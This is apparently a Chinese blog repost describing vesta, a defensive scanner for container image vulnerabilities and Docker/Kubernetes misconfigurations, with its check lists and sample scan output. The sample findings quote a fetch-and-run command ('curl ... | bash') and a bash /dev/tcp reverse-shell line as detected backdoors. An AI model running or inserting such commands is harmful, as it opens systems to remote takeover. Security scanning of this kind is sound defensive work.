Docker和Kubernetes配置安全基线检查工具vesta
nanshan 2025-05-08 03:52 24 浏览 0 评论
概述
vesta是一款集容器扫描，Docker和Kubernetes配置基线检查于一身的工具。检查内容包括镜像或容器中包含漏洞版本的组件，同时根据云上实战渗透经验检查Docker以及Kubernetes的危险配置
vesta同时也是一个灵活，方便的工具，能够在各种系统上运行，包括但不限于Windows，Linux以及MacOS
检查项
Scan
- 扫描通过主流安装方法安装程序的漏洞
- apt/apt-get
- rpm
- yum
- dpkg
- 扫描软件依赖的漏洞以及恶意投毒的依赖包
- Java(Jar, War, 以及主流依赖log4j)
- NodeJs(NPM, YARN)
- Python(Wheel, Poetry)
- Golang(Go binary)
- PHP(Composer, 以及主流的PHP框架: laravel, thinkphp, wordpress, wordpress插件等)
- Rust(Rust binary)
Docker检查
Supported | Check Item | Description | Severity | Reference |
PrivilegeAllowed | 危险的特权模式 | critical | Ref | |
Capabilities | 危险capabilities被设置 | critical | Ref | |
Volume Mount | 敏感或危险目录被挂载 | critical | Ref | |
Docker Unauthorized | 2375端口打开并且未授权 | critical | Ref | |
Kernel version | 当前内核版本存在逃逸漏洞 | critical | Ref | |
Network Module | Net模式为 host 模式或同时在特定containerd版本下 | critical/medium | ||
Pid Module | Pid模式被设置为 host | high | ||
Docker Server version | Docker Server版本存在漏洞 | critical/high/ medium/low | ||
Docker env password check | Docker env是否存在弱密码 | high/medium | ||
Docker history | Docker layers 存在不安全的命令 | high/medium | ||
Docker Backdoor | Docker env command 存在恶意命令 | critical/high | ||
Docker Swarm | Docker Swarm存在危险配置信息以及危险的容器检测 | medium/low |
Kubernetes检查
Supported | Check Item | Description | Severity | Reference |
PrivilegeAllowed | 危险的特权模式 | critical | Ref | |
Capabilities | 危险capabilities被设置 | critical | Ref | |
PV and PVC | PV 被挂载到敏感目录并且状态为active | critical/medium | Ref | |
RBAC | K8s 权限存在危险配置 | high/medium/ low/warning | ||
Kubernetes-dashborad | 检查 -enable-skip-login 以及 dashborad的账户权限 | critical/high/ low | Ref | |
Kernel version | 当前内核版本存在逃逸漏洞 | critical | Ref | |
Docker Server version (k8s versions is less than v1.24) | Docker Server版本存在漏洞 | critical/high/ medium/low | ||
Kubernetes certification expiration | 证书到期时间小于30天 | medium | ||
ConfigMap and Secret check | ConfigMap 或者 Secret是否存在弱密码 | high/medium | ||
PodSecurityPolicy check (k8s version under the v1.25) | PodSecurityPolicy过度容忍Pod不安全配置 | high/medium/low | Ref | |
Auto Mount ServiceAccount Token | Pod默认挂载了service token | critical/high/ medium/low | Ref | |
NoResourceLimits | 没有限制资源的使用，例如CPU,Memory, 存储 | low | Ref | |
Job and Cronjob | Job或CronJob没有设置seccomp或seLinux安全策略 | low | Ref | |
Envoy admin | Envoy admin被配置以及监听 0.0.0.0 . | high/medium | Ref | |
Cilium version | Cilium 存在漏洞版本 | critical/high/ medium/low | Ref | |
Istio configurations | Istio 存在漏洞版本以及安全配置检查 | critical/high/ medium/low | Ref | |
Kubelet 10255/10250 and Kubectl proxy | 存在node打开了10250或者10255并且未授权或 Kubectl proxy开启 | high/medium/ low | ||
Etcd configuration | Etcd 安全配置检查 | high/medium | ||
Sidecar configurations | Sidecar 安全配置检查以及Env环境检查 | critical/high/ medium/low | ||
Pod annotation | Pod annotation 存在不安全配置 | high/medium/ low/warning | Ref | |
DaemonSet | DaemonSet存在不安全配置 | critical/high/ medium/low | ||
Backdoor | 检查k8s中是否有后门 | critical/high | Ref | |
Lateral admin movement | Pod被特意配置到Master节点中 | medium/low |
编译并使用vesta
编译vesta
- 使用make build 进行编译
- 从Releases上下载可执行文件
使用vesta检查镜像过容器中的漏洞组件版本（使用镜像ID，镜像标签或使用-f文件输入均可）
$./vesta scan container -f example.tar
2022/11/29 22:50:19 Begin upgrading vulnerability database
2022/11/29 22:50:19 Vulnerability Database is already initialized
2022/11/29 22:50:19 Begin to analyze the layer
2022/11/29 22:50:35 Begin to scan the layer
Detected 216 vulnerabilities
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 208 | python3.6 - Django | 2.2.3 | CVE-2019-14232 | 7.5 | high | An issue was discovered |
| | | | | | | in Django 1.11.x before |
| | | | | | | 1.11.23, 2.1.x before 2.1.11, |
| | | | | | | and 2.2.x before 2.2.4. If |
| | | | | | | django.utils.text.Truncator's |
| | | | | | | chars() and words() methods |
| | | | | | | were passed the html=True |
| | | | | | | argument, t ... |
+-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 209 | | 2.2.3 | CVE-2019-14233 | 7.5 | high | An issue was discovered |
| | | | | | | in Django 1.11.x before |
| | | | | | | 1.11.23, 2.1.x before 2.1.11, |
| | | | | | | and 2.2.x before 2.2.4. |
| | | | | | | Due to the behaviour of |
| | | | | | | the underlying HTMLParser, |
| | | | | | | django.utils.html.strip_tags |
| | | | | | | would be extremely ... |
+-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 210 | | 2.2.3 | CVE-2019-14234 | 9.8 | critical | An issue was discovered in |
| | | | | | | Django 1.11.x before 1.11.23, |
| | | | | | | 2.1.x before 2.1.11, and 2.2.x |
| | | | | | | before 2.2.4. Due to an error |
| | | | | | | in shallow key transformation, |
| | | | | | | key and index lookups for |
| | | | | | | django.contrib.postgres.f ... |
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 211 | python3.6 - numpy | 1.24.2 | | 8.5 | high | Malicious package is detected in |
| | | | | | | '/usr/local/lib/python3.6/site-packages/numpy/setup.py', |
| | | | | | | malicious command "curl https://vuln.com | bash" are |
| | | | | | | detected. |
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+使用vesta检查Docker的基线配置
也可以在docker中使用
make run.docker$./vesta analyze docker
2022/11/29 23:06:32 Start analysing
Detected 3 vulnerabilities
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| ID | CONTAINER DETAIL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 1 | Name: Kernel | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: None | | | | the CVE-2022-0492 with |
| | | | | | CAP_SYS_ADMIN and v1 |
| | | | | | architecture of cgroups |
| | | | | | vulnerablility, has a |
| | | | | | potential container escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 2 | Name: vesta_vuln_test | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: 207cf8842b15 | | | | the Dirty Pipe vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 3 | Name: Image Tag | Privileged | true | critical | There has a potential container|
| | ID: None | | | | escape in privileged module. |
| | | | | | |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 4 | Name: Image Configuration | Image History | Image name: | high | Weak password found |
| | ID: None | | vesta_history_test:latest | | | in command: ' echo |
| | | | Image ID: 4bc05e1e3881 | | 'password=test123456' > |
| | | | | | config.ini # buildkit'. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+使用vesta检查Kubernetes的基线配置
2022/11/29 23:15:59 Start analysing
2022/11/29 23:15:59 Getting docker server version
2022/11/29 23:15:59 Getting kernel version
Detected 4 vulnerabilities
Pods:
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| ID | POD DETAIL | PARAM | VALUE | TYPE | SEVERITY | DESCRIPTION |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 1 | Name: vulntest | Namespace: | sidecar name: vulntest | | true | Pod | critical | There has a potential |
| | default | Status: Running | | Privileged | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest | | Token:Password123456 | Sidecar EnvFrom | high | Sidecar envFrom ConfigMap has |
| | | env | | | | found weak password: |
| | | | | | | 'Password123456'. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: sidecartest | | MALWARE: bash -i >& | Sidecar Env | high | Container 'sidecartest' finds |
| | | env | /dev/tcp/10.0.0.1/8080 0>&1 | | | high risk content(score: |
| | | | | | | 0.91 out of 1.0), which is a |
| | | | | | | suspect command backdoor. |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 2 | Name: vulntest2 | Namespace: | sidecar name: vulntest2 | | CAP_SYS_ADMIN | capabilities.add | critical | There has a potential |
| | default | Status: Running | | capabilities | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | true | kube-api-access-lcvh8 | critical | Mount service account |
| | | automountServiceAccountToken | | | | and key permission are |
| | | | | | | given, which will cause a |
| | | | | | | potential container escape. |
| | | | | | | Reference clsuterRolebind: |
| | | | | | | vuln-clusterrolebinding | |
| | | | | | | roleBinding: vuln-rolebinding |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | cpu | Pod | low | CPU usage is not limited. |
| | | Resource | | | | |
| | | | | | | |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
Configures:
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| ID | TYPEL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 1 | K8s version less than v1.24 | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | | | | | the CVE-2022-0185 with |
| | | | | | CAP_SYS_ADMIN vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 2 | ConfigMap | ConfigMap Name: vulnconfig | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high | ConfigMap has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 3 | Secret | Secret Name: vulnsecret-auth | password:Password123 | high | Secret has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 4 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | high | Key permissions with key |
| | | vuln-clusterrolebinding | | create, update | resources: | | resources given to the |
| | | rolename: vuln-clusterrole | | pods, services | | default service account, which |
| | | kind: ClusterRole | subject | | | will cause a potential data |
| | | kind: Group | subject name: | | | leakage. |
| | | system:serviceaccounts:vuln | | | | |
| | | namespace: vuln | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 5 | RoleBinding | binding name: vuln-rolebinding | verbs: get, watch, list, | high | Key permissions with key |
| | | | rolename: vuln-role | role | create, update | resources: | | resources given to the |
| | | kind: Role | subject kind: | pods, services | | default service account, which |
| | | ServiceAccount | subject name: | | | will cause a potential data |
| | | default | namespace: default | | | leakage. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 6 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | warning | Key permission are given |
| | | vuln-clusterrolebinding2 | | create, update | resources: | | to unknown user 'testUser', |
| | | rolename: vuln-clusterrole | | pods, services | | printing it for checking. |
| | | subject kind: User | subject | | | |
| | | name: testUser | namespace: | | | |
| | | all | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+使用方法
$./vesta -h
Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit
Tutorial is available at https://github.com/kvesta/vesta
Usage:
vesta [command]
Available Commands:
analyze Kubernetes analyze
completion Generate the autocompletion script for the specified shell
help Help about any command
scan Container scan
update Update vulnerability database
version Print version information and quit
Flags:
-h, --help help for vesta项目地址：
https://github.com/kvesta/vesta/
相关推荐
- 在 Ubuntu 上安装 Zabbix(以 Zabbix 6.4 LTS 版本为例)
-
Zabbix是一个流行的开源监控解决方案，能够监控各种网络参数和服务器健康状态。一、环境准备系统要求Ubuntu20.04/22.04LTS至少2GBRAM（生产环境建议4GB+）至少1...
- 如何在 Ubuntu 24.04 服务器上安装 Apache Solr
-
ApacheSolr是一个免费、开源的搜索平台，广泛应用于实时索引。其强大的可扩展性和容错能力使其在高流量互联网场景下表现优异。Solr基于Java开发，提供了分布式索引、复制、负载均衡及自...
- 如何在 Ubuntu 24.04 LTS 或 22.04/20.04 上安装 Apache Maven
-
Maven是由Apache托管的开源工具，用于管理Java项目。它包含一个项目对象模型（POM）：一个配置文件（XML），其中包含项目的基本信息，包括配置、项目依赖项等。Maven可以处理...
- Cursor的终极对手——Trae Pro最新系统提示词
-
前段时间，字节的AI编程神器Trae国际版，终于甩出了Pro订阅计划！很多对它又爱又恨的小伙伴，直呼：终于等到你。爱它，是因为Trae长期免费+体验真香；恨它？还不是那该死的排队等待，...
- AI系统提示词:V0（ai代码提示）
-
以下是对V0系统提示词（SystemPrompt）的分部分讲解与解读，帮助你理解其核心内容和设计意图。V0系统提示词##CoreIdentity-Youarev0,Vercel&...
- 8岁男童失踪第13天，搜救人员发现可疑水库，更恶心的事情发生了
-
Lookingatyourrequest，Ineedtorewritethearticleaboutthe8-year-oldmissingboywhilemaking...
- docker常用指令及安装rabbitMQ（docker安装zabbix）
-
一、docker常用指令启动docker：systemctlstartdocker停止docker：systemctlstopdocker重启docker：systemctlrestart...
- 三步教你用Elasticsearch+PyMuPDF实现PDF大文件秒搜!
-
面对100页以上的大型PDF文件时，阅读和搜索往往效率低下。传统关系型数据库在处理此类数据时容易遇到性能瓶颈，而Elasticsearch凭借其强大的全文检索和分布式架构，成为理想解决方案。通过...
- ElasticSearch中文分词插件(IK)安装
-
坚持原创，共同进步！请关注我，后续分享更精彩!!!前言ElasticSearch默认的分词插件对中文支持很不友好。一段话按规则会以每个中文字符来拆解，再分别建立倒排索引。如"中华人民共和国国歌...
- SpringBoot使用ElasticSearch做文档对象的持久化存储?
-
ElasticSearch是一个基于Lucene的开源搜索引擎，广泛应用于日志分析、全文搜索、复杂查询等领域，在有些场景中使用ElasticSearch进行文档对象的持久化存储是一个很不错的选择...
- Elasticsearch数据迁移方案（elasticsearch copyto）
-
前言最近小编要去给客户部署一套系统涉及到了Mysql和ES数据的迁移,下面就给大家分享一下ES数据迁移的几套方案,根据具体的使用场景来选择不同的迁移方案能使你事倍功半,话多说下面就一一介绍。Elast...
- Rancher部署单体ElasticSearch（rancher2.5部署）
-
Rancher是k8s图形管理界面，之前曾有写文章介绍如何安装。ElasticSearch是热门搜索引擎，很多地方都有用到，常规安装部署略显繁琐，本文介绍在k8s下用rancher简易部署ES。1.在...
- Elasticsearch在Java项目的搜索实践:从零开始构建高效搜索系统
-
Elasticsearch在Java项目中的搜索实践：从零开始构建高效搜索系统在现代的Java项目中，数据量激增，传统的数据库查询方式已经无法满足快速检索的需求。这时，Elasticsearch(E...
- 小白入门-Kibana安装（kibana安装配置）
-
一Kibana基础1.1介绍Kibana是一款免费且开放的前端应用程序，其基础是ElasticStack，可以为Elasticsearch中索引的数据提供搜索和数据可视化功能。Kiban...
- Docker上使用Elasticsearch,Logstash,Kibana
-
在对一个项目做性能测试时我需要处理我们web服务器的访问日志来分析当前用户的访问情况。因此，我想这是试用ELK的一个好机会。ELK栈首先要注意的是使用它是非常简单的。从决定使用ELK到在本机上搭一个...
欢迎 你 发表评论:
- 一周热门
-
-
极空间如何无损移机，新Z4 Pro又有哪些升级?极空间Z4 Pro深度体验
-
UOS服务器操作系统防火墙设置（uos20关闭防火墙）
-
如何修复用户配置文件服务在 WINDOWS 上登录失败的问题
-
手机如何设置与显示准确时间的详细指南
-
如何在安装前及安装后修改黑群晖的Mac地址和Sn系列号
-
日本海上自卫队的军衔制度（日本海上自卫队的军衔制度是什么）
-
爱折腾的特斯拉车主必看!手把手教你TESLAMATE的备份和恢复
-
10个免费文件中转服务站，分享文件简单方便，你知道几个?
-
FANUC 0i-TF数据备份方法（fanuc系统备份教程）
-
NAS:DS video/DS file/DS photo等群晖移动端APP远程访问的教程
-
- 最近发表
-
- 在 Ubuntu 上安装 Zabbix(以 Zabbix 6.4 LTS 版本为例)
- 如何在 Ubuntu 24.04 服务器上安装 Apache Solr
- 如何在 Ubuntu 24.04 LTS 或 22.04/20.04 上安装 Apache Maven
- Cursor的终极对手——Trae Pro最新系统提示词
- AI系统提示词:V0（ai代码提示）
- 8岁男童失踪第13天，搜救人员发现可疑水库，更恶心的事情发生了
- docker常用指令及安装rabbitMQ（docker安装zabbix）
- 三步教你用Elasticsearch+PyMuPDF实现PDF大文件秒搜!
- ElasticSearch中文分词插件(IK)安装
- SpringBoot使用ElasticSearch做文档对象的持久化存储?
- 标签列表
-
- linux 查询端口号 (58)
- docker映射容器目录到宿主机 (66)
- 杀端口 (60)
- yum更换阿里源 (62)
- internet explorer 增强的安全配置已启用 (65)
- linux自动挂载 (56)
- 禁用selinux (55)
- sysv-rc-conf (69)
- ubuntu防火墙状态查看 (64)
- windows server 2022激活密钥 (56)
- 无法与服务器建立安全连接是什么意思 (74)
- 443/80端口被占用怎么解决 (56)
- ping无法访问目标主机怎么解决 (58)
- fdatasync (59)
- 405 not allowed (56)
- 免备案虚拟主机zxhost (55)
- linux根据pid查看进程 (60)
- dhcp工具 (62)
- mysql 1045 (57)
- 宝塔远程工具 (56)
- ssh服务器拒绝了密码 请再试一次 (56)
- ubuntu卸载docker (56)
- linux查看nginx状态 (63)
- tomcat 乱码 (76)
- 2008r2激活序列号 (65)